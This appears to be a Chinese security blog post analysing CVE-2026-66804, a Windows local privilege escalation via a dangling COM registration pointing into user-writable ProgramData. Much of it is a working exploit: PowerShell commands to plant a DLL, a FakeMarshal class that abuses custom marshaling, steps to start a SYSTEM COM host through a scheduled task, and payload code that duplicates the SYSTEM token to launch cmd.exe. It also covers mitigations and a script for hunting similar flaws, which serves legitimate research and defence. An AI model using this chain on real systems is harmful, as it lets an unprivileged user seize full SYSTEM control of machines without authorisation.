CVE-2026-66804 Windows COM 提权
原创
毕方安全实验室
毕方安全实验室
BeFun安全实验室
2026年10月12日 15:53
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2026-66804 Windows COM 提权
漏洞概述
CVE-2026-66804,Windows 本地提权(CVSS 7.8,CWE-284 Improper Access Control),2026 年 8 月补丁修复。
根因:系统根据 COM 注册 CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} 的 InProcServer32 指向 %PROGRAMDATA%\\CrossDevice\\CrossDevice.Streaming.Source.dll,默认配置,但是文件可以被普通用户写入,所以写一个指定文件名的dll进去可以被高权限进程加载。
分析
默认情况下有这个注册表:
HKLM\\SOFTWARE\\Classes\\CLSID\\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\\InProcServer32
(Default) REG_EXPAND_SZ %PROGRAMDATA%\\CrossDevice\\CrossDevice.Streaming.Source.dll
普通用户可写:
New-Item -ItemType Directory -Path \"C:\\ProgramData\\CrossDevice\"
Copy-Item .\\Loader.dll \"C:\\ProgramData\\CrossDevice\\CrossDevice.Streaming.Source.dll\"
高权限进程 CoCreateInstance 该 CLSID 时,LoadLibrary 解析到恶意 DLL。
7 月补丁(CVE-2026-50343 Dark Elevator)干掉了 InstallService 插件这条触发路径,但注册项本身仍然默认存在,所以只需要找一个可以加载的高权限进程。
利用
Custom OBJREF
COM 跨进程传对象时,runtime将对象序列化为 OBJREF。两种主要形式:
- • Standard OBJREF(按引用):默认。包含回连原对象所需信息(OXID、IPID、RPC 绑定),服务端反序列化后建立 RPC 通道,对象本体仍在发送方的进程;
- • Custom OBJREF(按值):对象实现
IMarshal时启用。GetUnmarshalClass指定反序列化使用的 CLSID,服务端按该 CLSID 查InProcServer32加载 DLL,实例化后调UnmarshalInterface。
可利用的点:
-
- 指定的 CLSID 不要求等于被传对象自身的 CLSID;
-
- 反序列化由runtime在方法调用前无条件执行,不经过目标方法参数校验。
实现:
class FakeMarshal : public IMarshal {
HRESULT GetUnmarshalClass(REFIID riid, void* pv,
DWORD dwDestContext, void* pvDestContext,
DWORD mshlflags, CLSID* pCid) override
{
return CLSIDFromString(L\"{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}\", pCid);
}
// ...
};
缓解措施
Custom marshaling 等价越权加载任意 DLL,Windows 8 起有两个进程级开关:
- 1.
CoInitializeSecurity设置EOAC_NO_CUSTOM_MARSHALflags; - 2.
IGlobalOptions::Set(COMGLB_UNMARSHALING_POLICY, COMGLB_UNMARSHALING_POLICY_STRONG)。
开启任一项后,除显式 opt-in 类与runtime库内受信组件外,Custom OBJREF 被拒收。两者均为进程自选、非系统强制,只要存在运行高权限且均未开启的 COM 服务即可。
批量找:读目标进程内存 combase!gCapabilities(flags)与 combase!g_GLBOPT_UnmarshalingPolicy(序列化策略)做扫描。
宿主:Shell Create Object Handler
CLSID {135FD325-45B7-4C30-89F8-4386961669F0},AppID RunAs NT AUTHORITY\\SYSTEM。特殊性:
- • 不挂服务名(IsService=False),RPCSS 不会按需拉起,直接
CoCreateInstance返回REGDB_E_CLASS_NOTREG; - • 宿主必须先运行,实例化才能成功。
利用:
-
- 创建全局事件
Global\\ShellCreateObjectTaskReadyEvent,否则任务进程启动后立即退出;
- 创建全局事件
-
- 启动计划任务
\\Microsoft\\Windows\\Shell\\CreateObjectTask(标准用户有 GenericExecute)。
- 启动计划任务
CoCreateInstance(CLSCTX_LOCAL_SERVER) 成功,宿主为 SYSTEM dllhost,CustomMarshalAllowed = True。
ICreateObject 的 [in] IUnknown\*
标准做法是 CoGetInstanceFromIStorage,把伪造序列化对象作为 pstg 传入,对象激活时无条件反序列化,代价是实现 fake IStorage 过本地 API 检查。
该宿主对象仅暴露 IUnknown / IMarshal / IMarshal2 / ICreateObject(本身是裸 marshaler 类,这也是其允许 custom marshaling 的原因)。ICreateObject 的 IDL:
[uuid(75121952-E0D0-43E5-9380-1D80483ACF72)]
interface ICreateObject : IUnknown {
HRESULT Proc3([in] GUID* p0, [in] IUnknown* p1,
[in] GUID* p2, [out, iid_is(p2)] IUnknown** p3);
}
第二个参数为裸 [in] IUnknown*,直接传 FakeMarshal 对象即可,无需 fake IStorage。
完整调用链
MarshalComObject.exe (标准用户) dllhost.exe (SYSTEM)
──────────────────────────── ─────────────────────────
CoInitializeSecurity
CoCreateInstance(ShellCreateObject, LOCAL_SERVER) ─→ (宿主经计划任务已拉起)
CoCreateInstance(CrossDevice, INPROC_SERVER)
└─ 加载种植 DLL(第 1 次, 取 IMarshal 对象)
co->CreateObject(CLSID, msh, ...)
└─ 序列化 FakeMarshal → Custom OBJREF ──────────→ 反序列化(方法调用前):
查 CLSID {E9F83CF2-...}
LoadLibrary 种植 DLL(第 2 次)
DllGetClassObject → FakeMarshal
UnmarshalInterface
├─ SpawnSystemProcess
└─ SetEvent(Global\\MarshalComObject)
WaitForSingleObject(Global\\MarshalComObject) ←───── 置位
\"Exploit successful.\"
DLL 被加载两次:第一次在攻击者进程内,仅为取得 IMarshal 实现供runtime序列化;第二次在 SYSTEM dllhost 内。
PoC
exp(MarshalComObject.cpp)
- 1.
ConvertStringSecurityDescriptorToSecurityDescriptor(L\"D:(A;;GA;;;WD)\")构建授予 Everyone 全权的 SD,创建Global\\MarshalComObject事件,保证 SYSTEM 端 DLL 可 OpenEvent ; - 2.
LoadLibrary(\"Loader.dll\")→GetModuleFileName→CopyFile至C:\\ProgramData\\CrossDevice\\CrossDevice.Streaming.Source.dll; - 3.
CoInitializeSecurity,认证级别 PKT\_PRIVACY,不设EOAC_NO_CUSTOM_MARSHAL; - 4.
CoCreateInstance(CLSID_ShellCreateObject, CLSCTX_LOCAL_SERVER)失败时:创建Global\\ShellCreateObjectTaskReadyEvent→ Task Scheduler COM API 连接\\Microsoft\\Windows\\Shell\\CreateObjectTask并Run→ 等事件 → 重试; - 5.
CoCreateInstance(CLSID_CrossDevice, CLSCTX_INPROC_SERVER, IID_IMarshal)取 FakeMarshal; - 6.
co->CreateObject(CLSID_ShellCreateObject, msh, IID_PPV_ARGS(&unk))投递; -
- 等待
Global\\MarshalComObject置位。
- 等待
payload DLL(dllmain.cpp)
module.def 仅导出 DllGetClassObject,返回 FakeClassFactory,其 CreateInstance 返回 FakeMarshal:
HRESULT MarshalInterface(IStream* pStm, ...) {
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
pStm->Write(&session_id, sizeof(session_id), &written); // 攻击者会话 ID 写入序列化流
return S_OK;
}
HRESULT UnmarshalInterface(IStream* pStm, REFIID riid, void** ppv) {
// 以下运行在 SYSTEM dllhost
pStm->Read(&session_id, ...);
SpawnSystemProcess(session_id);
SetEvent(OpenEvent(L\"Global\\\\MarshalComObject\"));
return E_NOTIMPL;
}
SpawnSystemProcess 关键步骤:
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); // dllhost 的 SYSTEM 令牌
DuplicateTokenEx(token, TOKEN_ALL_ACCESS, nullptr,
SecurityAnonymous, TokenPrimary, &dup_token); // 复制为主令牌
SetTokenInformation(dup_token, TokenSessionId, &session_id, ...); // 切回攻击者会话
CreateProcessAsUser(dup_token, nullptr, L\"cmd.exe\", ...,
si.lpDesktop = L\"WinSta0\\\\Default\", ...); // SYSTEM cmd
同类漏洞的挖掘
枚举机器配置单元全部 InProcServer32 类,逐个按 LoadLibrary 语义测试 DLL 可解析性,失败即悬空注册(依赖 OleViewDotNet + NtObjectManager 模块):
function Test-ComServer {
param($Server)
try {
Use-NtObject($lib = Import-Win32Module-Path$Server-Flags AsDataFile) { $true }
} catch { $false }
}
$db = Get-ComDatabase-LoadMode MachineOnly
$cs = Get-ComClass-Database$db-ServerType InProcServer32
$cs | ? { -not (Test-ComServer$_.DefaultServer) } |
Sort DefaultServer | Select Name, DefaultServer
细节:
-
- 必须走
LoadLibrary而非Test-Path——部分注册只写文件名、依赖系统搜索路径,需按加载器真实解析逻辑判断;
- 必须走
-
- 命中后人工判断路径是否落在用户可写目录(ProgramData、用户可写 PATH 段等),可扩展为自动检查目录 ACL。
该原语适用面不限于悬空注册:任何有缺陷的自定义反序列化器同样可打;仅 DLL 加载本身(依赖解析、DllMain 异常)即构成 DoS 面。
总结
- • 漏洞类别:卸载/未初始化功能残留的注册表项 + 用户可写系统目录构成提权原语;custom marshaling 缓解为进程自选、覆盖不全,存在符合条件(SYSTEM + 未开启缓解)的 COM 服务即可直达 SYSTEM。
- • 补丁完整性:前一版本修复了利用路径(InstallService 插件),未清除悬空注册,导致同一根因在两个月内二次修复。
- • 攻击面评估:悬空 COM 注册可脚本化枚举;
combase!gCapabilities/combase!g_GLBOPT_UnmarshalingPolicy可进程扫描缓解缺口。符合条件的 SYSTEM 服务不止一个,该方向仍有产出空间。
参考文章
- • https://projectzero.google/2026/09/windows-dangling-com.html(Windows Exploitation Techniques: Dangling COM Object Registrations)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论